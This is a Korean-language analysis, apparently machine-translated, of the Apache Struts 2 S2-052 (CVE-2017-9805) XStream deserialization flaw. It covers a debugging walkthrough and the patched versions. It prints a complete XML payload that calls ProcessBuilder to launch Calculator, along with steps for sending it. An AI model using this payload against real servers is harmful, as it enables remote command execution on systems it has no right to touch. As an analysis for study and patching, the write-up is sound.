2017년 9월 5일 해외 안보 연구 기관인 lgtm.com의 보안 연구원들이 발견한 심각한 취약점이 Apache Struts 2에서 공식적으로 공개되었습니다. 취약점 번호는 CVE-2017-9805(S2-052)입니다. 공격자 원격 명령 실행을 위해 신중하게 구성된 xml 데이터가 전달될 수 있습니다.
Struts2 REST 플러그인의 XStream 구성 요소에는 역직렬화 취약점이 있습니다. XStream 구성 요소를 사용하여 XML 형식의 데이터 패킷을 역직렬화하면 데이터 콘텐츠가 효과적으로 확인되지 않아 보안 위험이 발생하고 원격 명령으로 실행될 수 있습니다.
악용 조건: REST 플러그인을 사용하고 영향을 받는 버전 범위 내에서.
악용 방법: 공격자는 원격 악용을 위해 악성 데이터 패킷을 구성합니다.
영향 버전: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
1) 공식 소스 코드 다운로드:
git clone https://github.com/apache/Struts .git
2) 2.5.12 브랜치로 전환:
git checkout STRUTS_2_5_12
3) 소스 패키지의 전체 src/apps/rest-showcase 폴더를 복사하고 새 프로젝트를 생성합니다.
4) IDEA 또는 eclipse를 사용하여 maven 프로젝트
5 ) 디버그 모드로 실행한 후, 즐겁게 디버깅할 수 있습니다
공식 발표에 따르면 취약점은 struts2-rest-plugin-2.5의 XstreamHandler 클래스에 나타나는 것으로 알려져 있습니다. .12.jar 패키지.
이 클래스를 보세요. 이 클래스에는 toObject 메서드가 있으며, 그 기능은 xml 콘텐츠를 역직렬화하는 것입니다.
먼저 이 메서드에 중단점을 설정한 다음 데이터 패킷을 구성합니다.
데이터 패킷을 보낸 후 중단점으로 점프합니다. 이때 상위 호출 스택의 ContentTypeInterceptor가 호출된 것을 볼 수 있습니다. this method
ContentTypeInterceptor 클래스의 Intercept 메소드는 전달된 Content-Type의 값을 기반으로 해당 개체를 생성합니다. application/xml을 전달하므로 XML 처리 개체 XStreamHandler가 그에 따라 생성됩니다.
f5로 계속해서 역직렬화를 수행하는 unmarshal 함수를 확인하세요. 이 함수가 실행될 때 데이터 보안 검사가 없으므로 원격 명령이 실행됩니다.
그런 다음 unmarshal 함수를 입력하고 디버깅을 계속합니다. AbstractReflectionConverter는 우리가 제출한 xml 태그와 값을 단계별로 구문 분석하고 마지막으로 poc의 코드를 호출합니다.
. //localhost:8080 //struts2-rest-showcase/orders/3/edit에서 제출을 클릭합니다.
HTTP 요청을 가로채서 요청 본문을 POC 페이로드로 변경하고 콘텐츠 유형 헤더를 application/xml로 변경합니다. .
페이로드는
<map> <entry> <jdk.nashorn.internal.objects.nativestring> <flags>0</flags> <value> <datahandler> <datasource> <is> <cipher> <initialized>false</initialized> <opmode>0</opmode> <serviceiterator> <iter> <iter></iter> <next> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirecterrorstream>false</redirecterrorstream> </next> </iter> <filter> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types></parameter-types> </method> <name>foo</name> </filter> <next>foo</next> </serviceiterator> <lock></lock> </cipher> <input> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </datasource> <transferflavors></transferflavors> </datahandler> <datalen>0</datalen> </value> </jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> <entry> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> </map>
요청을 보낸 후 계산기가 나타납니다
공식 패치는 주로 xml의 데이터를 화이트리스트에 추가하고 컬렉션 및 맵, 몇 가지 기본 클래스를 추가합니다. 클래스는 화이트리스트에 배치되어 역직렬화 중에 XStream이 유해한 클래스를 가져오는 것을 방지할 수 있습니다
버전 2.3.0에서 2.3.33으로 업그레이드 Struts 2.3.34 버전
버전 0에서 2.5.12로 업그레이드하세요. Struts 2.5.13 버전으로 업그레이드
위 내용은 Struts2-052 취약점 예시 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!